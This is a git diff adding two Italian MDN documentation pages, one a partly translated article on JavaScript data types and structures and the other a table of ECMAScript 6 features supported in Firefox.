+  - Principianti
+  - tipi
+translation_of: Web/JavaScript/Data_structures
+---
+<div>{{jsSidebar("More")}}</div>
+
+<p>Tutti i linguaggi di programmazione utilizzano strutture di dati, ma queste possono spesso differire da un linguaggio all'altro. L'intento di questo articolo è elencare tutte le strutture di dati di JavaScript e le relative proprietà, che possono essere utilizzate anche per costruire nuove strutture di dati. Dove possible, compareremo le strutture di dati di JavaScript con quelle di altri linguaggi.</p>
+
+<h2 id="Tipi_dinamici">Tipi dinamici</h2>
+
+<p>JavaScript è un linguaggio di <em>tipo debole</em> o <em>dinamico</em>. Questo vuol dire che in JavaScript le variabili non sono direttamente associate a nessun particolare tipo e che una variabile può essere assegnata (e ri-assegnata) a qualsiasi tipo di valore:</p>
+
+<pre class="brush: js">let foo = 42;    // foo è ora Number
+foo     = 'bar'; // foo è ora String
+foo     = true;  // foo è ora Boolean
+</pre>
+
+<h2 id="Tipi_di_dati">Tipi di dati</h2>
+
+<p>L'ultima definizione dello standard ECMAScript comprende nove tipi:</p>
+
+<ul>
+ <li>Sei tipi di dati sono <a href="/it/docs/Glossary/Primitive">primitivi</a>:
+
+  <ul>
+   <li><a href="/it/docs/Glossary/undefined">undefined</a> : <code>typeof instance === "undefined"</code></li>
+   <li><a href="/en-US/docs/Glossary/Boolean">Boolean</a> : <code>typeof instance === "boolean"</code></li>
+   <li><a href="/en-US/docs/Glossary/Number">Number</a> : <code>typeof instance === "number"</code></li>
+   <li><a href="/en-US/docs/Glossary/String">String</a> : <code>typeof instance === "string"</code></li>
+   <li><a href="/en-US/docs/Glossary/BigInt">BigInt</a><span> : </span><code>typeof instance === "bigint"</code></li>
+   <li><a href="/en-US/docs/Glossary/Symbol">Symbol</a><span> : </span><code>typeof instance === "symbol"</code></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Glossary/Null">null</a><span> : </span><code>typeof instance === "object"</code>. È uno speciale tipo <a href="https://wiki.developer.mozilla.org/it/docs/Glossary/Primitive">primitivo</a> che ha un uso aggiuntivo per il suo valore: se l'oggetto non è ereditato, viene mostrato <code>null</code>;</li>
+ <li><a href="/en-US/docs/Glossary/Object">Object</a><span> : </span><code>typeof instance === "object"</code>. Non è un tipo di dato ma bensì un tipo strutturale per ogni istanza di oggetto <a href="https://wiki.developer.mozilla.org/it/docs/Learn/JavaScript/Oggetti">costruito</a> utilizzata anche come struttura di dati: new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map">Map</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set">Set</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap">WeakMap</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet">WeakSet</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a> e praticamente tutto creato con la <a href="https://wiki.developer.mozilla.org/it/docs/Web/JavaScript/Reference/Operators/new">parola chiave new</a>;</li>
+ <li><a href="/en-US/docs/Glossary/Function">Function</a><span> non data structure, though it also answers for typeof operator: </span><code>typeof instance === "function"</code>. This answer is done as a special shorthand for Functions, though every Function constructor is derived from Object constructor.</li>
+</ul>
+
+<p>Keep in mind the only valuable purpose of <code>typeof</code> operator usage is checking the Data Type. If we wish to check any Structural Type derived from Object it is pointless to use <code>typeof</code> for that, as we will always receive <code>"object"</code>. The indeed proper way to check what sort of Object we are using an <a href="/en-US/docs/Web/JavaScript/Reference/Operators/instanceof">instanceof</a> keyword. But even in that case there might be misconceptions.</p>
+
+<h2 id="Valori_primitivi">Valori primitivi</h2>
+
+<p>All types except objects define immutable values (that is, values which can't be changed). For example (and unlike in C), Strings are immutable. We refer to values of these types as "<em>primitive values</em>".</p>
+
+<h3 id="Tipo_Boolean">Tipo Boolean</h3>
+
+<p>Boolean represents a logical entity and can have two values: <code>true</code> and <code>false</code>. See <a href="/en-US/docs/Glossary/Boolean">Boolean</a> and {{jsxref("Boolean")}} for more details.</p>
+
+<h3 id="Tipo_Null">Tipo Null</h3>
+
+<p>The Null type has exactly one value: <code>null</code>. See {{jsxref("null")}} and <a href="/en-US/docs/Glossary/Null">Null</a> for more details.</p>
+
+<h3 id="Tipo_Undefined">Tipo Undefined</h3>
+
+<p>A variable that has not been assigned a value has the value <code>undefined</code>. See {{jsxref("undefined")}} and <a href="/en-US/docs/Glossary/Undefined">Undefined</a> for more details.</p>
+
+<h3 id="Tipo_Number">Tipo Number</h3>
+
+<p>ECMAScript has two built-in numeric types: <strong>Number</strong> and <strong>BigInt</strong> (see below).</p>
+
+<p>The Number type is a <a href="http://en.wikipedia.org/wiki/Double_precision_floating-point_format">double-precision 64-bit binary format IEEE 754 value</a> (numbers between -(2<sup>53</sup> − 1) and 2<sup>53</sup> − 1). In addition to representing floating-point numbers, the number type has three symbolic values: <code>+Infinity</code>, <code>-Infinity</code>, and {{jsxref("NaN")}} ("<strong>N</strong>ot a <strong>N</strong>umber").</p>
+
+<p>To check for the largest available value or smallest available value within {{jsxref("Infinity", "±Infinity")}}, you can use the constants {{jsxref("Number.MAX_VALUE")}} or {{jsxref("Number.MIN_VALUE")}}.</p>
+
+<p>Starting with ECMAScript 2015, you are also able to check if a number is in the double-precision floating-point number range using {{jsxref("Number.isSafeInteger()")}} as well as {{jsxref("Number.MAX_SAFE_INTEGER")}} and {{jsxref("Number.MIN_SAFE_INTEGER")}}. Beyond this range, integers in JavaScript are not safe anymore and will be a double-precision floating point approximation of the value.</p>
+
+<p>The number type has only one integer with two representations: <code>0</code> is represented as both <code>-0</code> and <code>+0</code>. (<code>0</code> is an alias for <code>+0</code>.) </p>
+
+<p>In the praxis, this has almost no impact. For example, <code>+0 === -0</code> is <code>true</code>. However, you are able to notice this when you divide by zero:</p>
+
+<pre class="brush: js">&gt; 42 / +0
+Infinity
+&gt; 42 / -0
+-Infinity
+</pre>
+
+<p>Although a number often represents only its value, JavaScript provides {{jsxref("Operators/Bitwise_Operators", "binary (bitwise) operators")}}.</p>
+
+<p>These bitwise operators can be used to represent several Boolean values within a single number using <a class="external" href="http://en.wikipedia.org/wiki/Mask_%28computing%29">bit masking</a>. However, this is usually considered a bad practice, since JavaScript offers other means to represent a set of Booleans (like an array of Booleans, or an object with Boolean values assigned to named properties). Bit masking also tends to make the code more difficult to read, understand, and maintain.</p>
+
+<p>It may be necessary to use such techniques in very constrained environments, like when trying to cope with the limitations of local storage, or in extreme cases (such as when each bit over the network counts). This technique should only be considered when it is the last measure that can be taken to optimize size.</p>
+
+<h3 id="BigInt_type">BigInt type</h3>
+
+<p>The {{jsxref("BigInt")}} type is a numeric primitive in JavaScript that can represent integers with arbitrary precision. With <code>BigInt</code>s, you can safely store and operate on large integers even beyond the safe integer limit for <code>Number</code>s.</p>
+
+<p>A <code>BigInt</code> is created by appending <code>n</code> to the end of an integer or by calling the constructor.</p>
+
+<p>You can obtain the safest value that can be incremented with <code>Number</code>s by using the constant {{jsxref("Number.MAX_SAFE_INTEGER")}}. With the introduction of <code>BigInt</code>s, you can operate with numbers beyond the {{jsxref("Number.MAX_SAFE_INTEGER")}}.</p>
+
+<p>This example demonstrates, where incrementing the {{jsxref("Number.MAX_SAFE_INTEGER")}} returns the expected result:</p>
+
+<pre class="brush: js">&gt; const x = 2n ** 53n;
+9007199254740992n
+&gt; const y = x + 1n;
+9007199254740993n
+</pre>
+
+<p>You can use the operators <code>+</code>, <code>*</code>, <code>-</code>, <code>**</code>, and <code>%</code> with <code>BigInt</code>s—just like with <code>Number</code>s. A <code>BigInt</code> is not strictly equal to a <code>Number</code>, but it is loosely so.</p>
+
+<p>A <code>BigInt</code> behaves like a <code>Number</code> in cases where it is converted to <code>Boolean</code>: <code>if</code>, <code>||</code>, <code>&amp;&amp;</code>, <code>Boolean</code>, <code>!</code>.</p>
+
+<p><code>BigInt</code>s cannot be operated on interchangeably with <code>Number</code>s. Instead a {{jsxref("TypeError")}} will be thrown.</p>
+
+<h3 id="String_type">String type</h3>
+
+<p>JavaScript's {{jsxref("String")}} type is used to represent textual data. It is a set of "elements" of 16-bit unsigned integer values. Each element in the String occupies a position in the String. The first element is at index <code>0</code>, the next at index <code>1</code>, and so on. The length of a String is the number of elements in it.</p>
+
+<p>Unlike some programming languages (such as C), JavaScript strings are immutable. This means that once a string is created, it is not possible to modify it.</p>
+
+<p>However, it is still possible to create another string based on an operation on the original string. For example:</p>
+
+<ul>
+ <li>A substring of the original by picking individual letters or using {{jsxref("String.substr()")}}.</li>
+ <li>A concatenation of two strings using the concatenation operator (<code>+</code>) or {{jsxref("String.concat()")}}.</li>
+</ul>
+
+<h4 id="Beware_of_stringly-typing_your_code!">Beware of "stringly-typing" your code!</h4>
+
+<p>It can be tempting to use strings to represent complex data. Doing this comes with short-term benefits:</p>
+
+<ul>
+ <li>It is easy to build complex strings with concatenation.</li>
+ <li>Strings are easy to debug (what you see printed is always what is in the string).</li>
+ <li>Strings are the common denominator of a lot of APIs (<a href="/en-US/docs/Web/API/HTMLInputElement" title="HTMLInputElement">input fields</a>, <a href="/en-US/docs/Storage" title="Storage">local storage</a> values, <a href="/en-US/docs/Web/API/XMLHttpRequest" title="Use XMLHttpRequest (XHR) objects to interact with servers. You can retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just part of a page without disrupting what the user is doing."><code>XMLHttpRequest</code></a> responses when using <code>responseText</code>, etc.) and it can be tempting to only work with strings.</li>
+</ul>
+
+<p>With conventions, it is possible to represent any data structure in a string. This does not make it a good idea. For instance, with a separator, one could emulate a list (while a JavaScript array would be more suitable). Unfortunately, when the separator is used in one of the "list" elements, then, the list is broken. An escape character can be chosen, etc. All of this requires conventions and creates an unnecessary maintenance burden.</p>
+
+<p>Use strings for textual data. When representing complex data, parse strings and use the appropriate abstraction.</p>
+
+<h3 id="Symbol_type">Symbol type</h3>
+
+<p>Symbols are new to JavaScript in ECMAScript 2015. A Symbol is a <strong>unique</strong> and <strong>immutable</strong> primitive value and may be used as the key of an Object property (see below). In some programming languages, Symbols are called "atoms".</p>
+
+<p>For more details see <a href="/en-US/docs/Glossary/Symbol">Symbol</a> and the {{jsxref("Symbol")}} object wrapper in JavaScript.</p>
+
+<h2 id="Oggetti">Oggetti</h2>
+
+<p>In computer science, an object is a value in memory which is possibly referenced by an <a href="/en-US/docs/Glossary/Identifier">identifier</a>.</p>
+
+<h3 id="Proprietà">Proprietà</h3>
+
+<p>In JavaScript, objects can be seen as a collection of properties. With the <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Object_literals">object literal syntax</a>, a limited set of properties are initialized; then properties can be added and removed. Property values can be values of any type, including other objects, which enables building complex data structures. Properties are identified using <em>key</em> values. A <em>key</em> value is either a String or a Symbol value.</p>
+
+<p>There are two types of object properties which have certain attributes: The <em>data</em> property and the <em>accessor</em> property.</p>
+
+<h4 id="Data_property">Data property</h4>
+
+<p>Associates a key with a value, and has the following attributes:</p>
+
+<table class="standard-table">
+ <caption>Attributes of a data property</caption>
+ <thead>
+  <tr>
+   <th scope="col">Attributo</th>
+   <th scope="col">Tipo</th>
+   <th scope="col">Descrizione</th>
+   <th scope="col">Valore di default</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>[[Value]]</td>
+   <td>Any JavaScript type</td>
+   <td>The value retrieved by a get access of the property.</td>
+   <td><code>undefined</code></td>
+  </tr>
+  <tr>
+   <td>[[Writable]]</td>
+   <td>Boolean</td>
+   <td>If <code>false</code>, the property's [[Value]] cannot be changed.</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td>[[Enumerable]]</td>
+   <td>Boolean</td>
+   <td>
+    <p>If <code>true</code>, the property will be enumerated in <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> loops.<br>
+     See also <a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a>.</p>
+   </td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td>[[Configurable]]</td>
+   <td>Boolean</td>
+   <td>If <code>false</code>, the property cannot be deleted, cannot be changed to an accessor property, and attributes other than [[Value]] and [[Writable]] cannot be changed.</td>
+   <td><code>false</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Obsolete attributes (as of ECMAScript 3, renamed in ECMAScript 5)</caption>
+ <thead>
+  <tr>
+   <th scope="col">Attributo</th>
+   <th scope="col">Tipo</th>
+   <th scope="col">Descrizione</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Read-only</td>
+   <td>Boolean</td>
+   <td>Reversed state of the ES5 [[Writable]] attribute.</td>
+  </tr>
+  <tr>
+   <td>DontEnum</td>
+   <td>Boolean</td>
+   <td>Reversed state of the ES5 [[Enumerable]] attribute.</td>
+  </tr>
+  <tr>
+   <td>DontDelete</td>
+   <td>Boolean</td>
+   <td>Reversed state of the ES5 [[Configurable]] attribute.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Accessor_property">Accessor property</h4>
+
+<p>Associates a key with one of two accessor functions (<code>get</code> and <code>set</code>) to retrieve or store a value, and has the following attributes:</p>
+
+<table class="standard-table">
+ <caption>Attributes of an accessor property</caption>
+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+   <th scope="col">Default value</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>[[Get]]</td>
+   <td>Function object or <code>undefined</code></td>
+   <td>The function is called with an empty argument list and retrieves the property value whenever a get access to the value is performed.<br>
+    See also <a href="/en-US/docs/Web/JavaScript/Reference/Operators/get"><code>get</code></a>.</td>
+   <td><code>undefined</code></td>
+  </tr>
+  <tr>
+   <td>[[Set]]</td>
+   <td>Function object or <code>undefined</code></td>
+   <td>The function is called with an argument that contains the assigned value and is executed whenever a specified property is attempted to be changed.<br>
+    See also <a href="/en-US/docs/Web/JavaScript/Reference/Operators/set"><code>set</code></a>.</td>
+   <td><code>undefined</code></td>
+  </tr>
+  <tr>
+   <td>[[Enumerable]]</td>
+   <td>Boolean</td>
+   <td>If <code>true</code>, the property will be enumerated in <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> loops.</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td>[[Configurable]]</td>
+   <td>Boolean</td>
+   <td>If <code>false</code>, the property can't be deleted and can't be changed to a data property.</td>
+   <td><code>false</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note: </strong>Attribute is usually used by JavaScript engine, so you can't directly access it (see more about {{jsxref("Object.defineProperty()")}}). That's why the attribute is put in double square brackets instead of single.</p>
+</div>
+
+<h3 id="Normal_objects_and_functions">"Normal" objects, and functions</h3>
+
+<p>A JavaScript object is a mapping between <em>keys</em> and <em>values</em>. Keys are strings (or {{jsxref("Symbol")}}s), and <em>values</em> can be anything. This makes objects a natural fit for <a class="external" href="http://en.wikipedia.org/wiki/Hash_table">hashmaps</a>.</p>
+
+<p>Functions are regular objects with the additional capability of being <em>callable</em>.</p>
+
+<h3 id="Dates">Dates</h3>
+
+<p>When representing dates, the best choice is to use the built-in <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date"><code>Date</code> utility</a> in JavaScript.</p>
+
+<h3 id="Indexed_collections_Arrays_and_typed_Arrays">Indexed collections: Arrays and typed Arrays</h3>
+
+<p><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="Array">Arrays</a> are regular objects for which there is a particular relationship between integer-key-ed properties and the <code>length</code> property.</p>
+
+<p>Additionally, arrays inherit from <code>Array.prototype</code>, which provides to them a handful of convenient methods to manipulate arrays. For example, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf" title="en/JavaScript/Reference/Global_Objects/Array/indexOf">indexOf</a></code> (searching a value in the array) or <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/push" title="en/JavaScript/Reference/Global_Objects/Array/push">push</a></code> (adding an element to the array), and so on. This makes Arrays a perfect candidate to represent lists or sets.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Typed Arrays</a> are new to JavaScript with ECMAScript 2015, and present an array-like view of an underlying binary data buffer. The following table helps determine the equivalent C data types:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th class="header" scope="col">Type</th>
+   <th class="header" scope="col">Value Range</th>
+   <th class="header" scope="col">Size in bytes</th>
+   <th class="header" scope="col">Description</th>
+   <th class="header" scope="col">Web IDL type</th>
+   <th class="header" scope="col">Equivalent C type</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Int8Array")}}</td>
+   <td><code>-128</code> to <code>127</code></td>
+   <td>1</td>
+   <td>8-bit two's complement signed integer</td>
+   <td><code>byte</code></td>
+   <td><code>int8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint8Array")}}</td>
+   <td><code>0</code> to <code>255</code></td>
+   <td>1</td>
+   <td>8-bit unsigned integer</td>
+   <td><code>octet</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint8ClampedArray")}}</td>
+   <td><code>0</code> to <code>255</code></td>
+   <td>1</td>
+   <td>8-bit unsigned integer (clamped)</td>
+   <td><code>octet</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int16Array")}}</td>
+   <td><code>-32768</code> to <code>32767</code></td>
+   <td>2</td>
+   <td>16-bit two's complement signed integer</td>
+   <td><code>short</code></td>
+   <td><code>int16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint16Array")}}</td>
+   <td><code>0</code> to <code>65535</code></td>
+   <td>2</td>
+   <td>16-bit unsigned integer</td>
+   <td><code>unsigned short</code></td>
+   <td><code>uint16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int32Array")}}</td>
+   <td><code>-2147483648</code> to <code>2147483647</code></td>
+   <td>4</td>
+   <td>32-bit two's complement signed integer</td>
+   <td><code>long</code></td>
+   <td><code>int32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint32Array")}}</td>
+   <td><code>0</code> to <code>4294967295</code></td>
+   <td>4</td>
+   <td>32-bit unsigned integer</td>
+   <td><code>unsigned long</code></td>
+   <td><code>uint32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Float32Array")}}</td>
+   <td><code>1.2</code><span>×</span><code>10<sup>-38</sup></code> to <code>3.4</code><span>×</span><code>10<sup>38</sup></code></td>
+   <td>4</td>
+   <td>32-bit IEEE floating point number (7 significant digits e.g., <code>1.1234567</code>)</td>
+   <td><code>unrestricted float</code></td>
+   <td><code>float</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Float64Array")}}</td>
+   <td><code>5.0</code><span>×</span><code>10<sup>-324</sup></code> to <code>1.8</code><span>×</span><code>10<sup>308</sup></code></td>
+   <td>8</td>
+   <td>64-bit IEEE floating point number (16 significant digits e.g., <code>1.123...15</code>)</td>
+   <td><code>unrestricted double</code></td>
+   <td><code>double</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("BigInt64Array")}}</td>
+   <td><code>-2<sup>63</sup></code> to <code>2<sup>63</sup>-1</code></td>
+   <td>8</td>
+   <td>64-bit two's complement signed integer</td>
+   <td><code>bigint</code></td>
+   <td><code>int64_t (signed long long)</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("BigUint64Array")}}</td>
+   <td><code>0</code> to <code>2<sup>64</sup>-1</code></td>
+   <td>8</td>
+   <td>64-bit unsigned integer</td>
+   <td><code>bigint</code></td>
+   <td><code>uint64_t (unsigned long long)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Keyed_collections_Maps_Sets_WeakMaps_WeakSets">Keyed collections: Maps, Sets, WeakMaps, WeakSets</h3>
+
+<p>These data structures, introduced in ECMAScript Edition 6, take object references as keys. {{jsxref("Set")}} and {{jsxref("WeakSet")}} represent a set of objects, while {{jsxref("Map")}} and {{jsxref("WeakMap")}} associate a value to an object.</p>
+
+<p>The difference between <code>Map</code>s and <code>WeakMap</code>s is that in the former, object keys can be enumerated over. This allows garbage collection optimizations in the latter case.</p>
+
+<p>One could implement <code>Map</code>s and <code>Set</code>s in pure ECMAScript 5. However, since objects cannot be compared (in the sense of <code>&lt;</code> "less than", for instance), look-up performance would necessarily be linear. Native implementations of them (including <code>WeakMap</code>s) can have look-up performance that is approximately logarithmic to constant time.</p>
+
+<p>Usually, to bind data to a DOM node, one could set properties directly on the object, or use <code>data-*</code> attributes. This has the downside that the data is available to any script running in the same context. <code>Map</code>s and <code>WeakMap</code>s make it easy to <em>privately</em> bind data to an object.</p>
+
+<h3 id="Structured_data_JSON">Structured data: JSON</h3>
+
+<p>JSON (<strong>J</strong>ava<strong>S</strong>cript <strong>O</strong>bject <strong>N</strong>otation) is a lightweight data-interchange format, derived from JavaScript, but used by many programming languages. JSON builds universal data structures.</p>
+
+<p>See <a href="/en-US/docs/Glossary/JSON">JSON</a> and {{jsxref("JSON")}} for more details.</p>
+
+<h3 id="More_objects_in_the_standard_library">More objects in the standard library</h3>
+
+<p>JavaScript has a standard library of built-in objects.</p>
+
+<p>Please have a look at the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects">reference</a> to find out about more objects.</p>
+
+<h2 id="Determinare_il_tipo_utilizzando_loperatore_typeof">Determinare il tipo utilizzando l'operatore <code>typeof</code></h2>
+
+<p>L'operatore <code>typeof</code> può aiutarti a trovare il tipo di dato assegnato alla tua variabile.</p>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Si prega di leggere la <a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">pagina di riferimento</a> per maggiori dettagli e casi limite.</span></span></p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a class="link-https" href="https://github.com/nzakas/computer-science-in-javascript/">Nicholas Zakas collection of common data structure and common algorithms in JavaScript.</a></li>
+ <li><a href="https://github.com/monmohan/DataStructures_In_Javascript" title="https://github.com/monmohan/DataStructures_In_Javascript">Search Tre(i)es implemented in JavaScript</a></li>
+</ul>
diff --git a/files/it/web/javascript/ecmascript_6_support_in_mozilla/index.html b/files/it/web/javascript/ecmascript_6_support_in_mozilla/index.html
new file mode 100644
index 0000000000..f631744c80
--- /dev/null
+++ b/files/it/web/javascript/ecmascript_6_support_in_mozilla/index.html
@@ -0,0 +1,153 @@
+---
+title: ECMAScript 6 support in Mozilla
+slug: Web/JavaScript/ECMAScript_6_support_in_Mozilla
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/ECMAScript_2015_support_in_Mozilla
+---
+<p>{{jsSidebar("New_in_JS")}}ECMAScript 2015 è la prossima versione standard, nome in codice "Harmony", "ES.next" o "ECMAScript 6". <a href="http://wiki.ecmascript.org/doku.php?id=harmony:specification_drafts">Specification drafts possono essere trovate sulla wiki ufficiale</a>. Se si volesse lasciare un feedback sullo standard, si prega di farlo su <a href="https://mail.mozilla.org/listinfo/es-discuss">es-discuss</a>.</p>
+
+<h2 id="Caratteristiche_attualmente_supportate_in_Firefox">Caratteristiche attualmente supportate in  Firefox</h2>
+
+<h3 id="Sintassi">Sintassi</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caratteristica</th>
+   <th scope="col">Versione</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Statements/const" title="const">const</a></code></td>
+   <td>?</td>
+   <td><em>not compliant with the current specification</em><em>: const bindings behave like var instead of let</em></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Statements/let" title="let">let</a></code></td>
+   <td>?</td>
+   <td><em>not compliant with the current specification</em></td>
+  </tr>
+  <tr>
+   <td><a href="/en/JavaScript/New_in_JavaScript/1.7#Destructuring_assignment_%28Merge_into_own_page.2Fsection%29" title="https://developer.mozilla.org/en/New_in_JavaScript_1.7#Destructuring_assignment_%28Merge_into_own_page.2Fsection%29">Destructuring assignment</a></td>
+   <td>JS 1.7</td>
+   <td><em>not compliant with the current specification</em></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Statements/for...of" title="for...of">for...of</a></code> statement</td>
+   <td>{{fx_minversion_inline("13")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en/JavaScript/Guide/Iterators_and_Generators" title="Iterators and generators">Iterators e generator</a>i</td>
+   <td>?</td>
+   <td><em>not compliant with the current specification)</em></td>
+  </tr>
+  <tr>
+   <td><a href="/en/JavaScript/Reference/rest_parameters" title="rest parameters">Rest parameters</a></td>
+   <td>{{fx_minversion_inline("15")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Parametri predefiniti</td>
+   <td>{{fx_minversion_inline("15")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Syntax/Spread_operator" title="/en-US/docs/Syntax/Spread_operator"><span class="external">Spread operator</span></a> of Array</td>
+   <td>{{fx_minversion_inline("16")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Libreria_Standard">Libreria Standard</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Caratteristica</th>
+   <th scope="col">Versione</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Map" title="en/JavaScript/Reference/Global_Objects/Map">Map</a></code></td>
+   <td>{{fx_minversion_inline("13")}}<br>
+    Iterable since {{fx_minversion_inline("17")}}</td>
+   <td>A new type of collections</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Set" title="en/JavaScript/Reference/Global_Objects/Set">Set</a></code></td>
+   <td>{{fx_minversion_inline("13")}}<br>
+    Iterable since {{fx_minversion_inline("17")}}</td>
+   <td>A new type of collections</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/WeakMap" title="WeakMap">WeakMap</a></code></td>
+   <td>{{fx_minversion_inline("6")}}<br>
+    <code>clear()</code> in {{fx_minversion_inline("20")}}</td>
+   <td>A new type of collections</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Proxy" title="Proxy">Proxy</a></code></td>
+   <td>{{fx_minversion_inline("18")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="RegExp"><span class="external text"><code>RegExp</code> sticky (<code>y</code>) flag</span></a></td>
+   <td>?</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Number/isNaN" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number/isNaN">Number.isNaN()</a></code></td>
+   <td>{{fx_minversion_inline("16")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>Number.isFinite()</code></td>
+   <td>{{fx_minversion_inline("16")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>Number.toInteger()</code></td>
+   <td>{{fx_minversion_inline("16")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>Number.isInteger()</code></td>
+   <td>{{fx_minversion_inline("16")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/startsWith" title="/en-US/docs/JavaScript/Reference/Global_Objects/String/startsWith">String.startsWith()</a></code></td>
+   <td>{{fx_minversion_inline("17")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/endsWith" title="/en-US/docs/JavaScript/Reference/Global_Objects/String/endsWith">String.endsWith()</a></code></td>
+   <td>{{fx_minversion_inline("17")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/contains" title="/en-US/docs/JavaScript/Reference/Global_Objects/String/contains">String.contains()</a></code></td>
+   <td>{{fx_minversion_inline("17")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Caratteristiche_non_ancora_supportate">Caratteristiche non ancora supportate</h2>
+
+<ul>
+ <li>Operatore <code>is</code> e <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">isnt</span></li>
+ <li>Nuove funzioni <code>Math</code>  (<code>log10</code>, <code>log2</code>, <code>log1p</code>, <code>expm1</code>, <code>cosh</code>, <code>sinh</code>, <code>tanh</code>, <code>acosh</code>, <code>asinh</code>, <code>atanh</code>, <code>hypot</code>, <code>trunc</code>, <code>sign</code>)</li>
+ <li>Moduli</li>
+</ul>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li><a class="external" href="http://www.ecmascript.org/" title="http://www.ecmascript.org/">Sito ECMAScript</a></li>
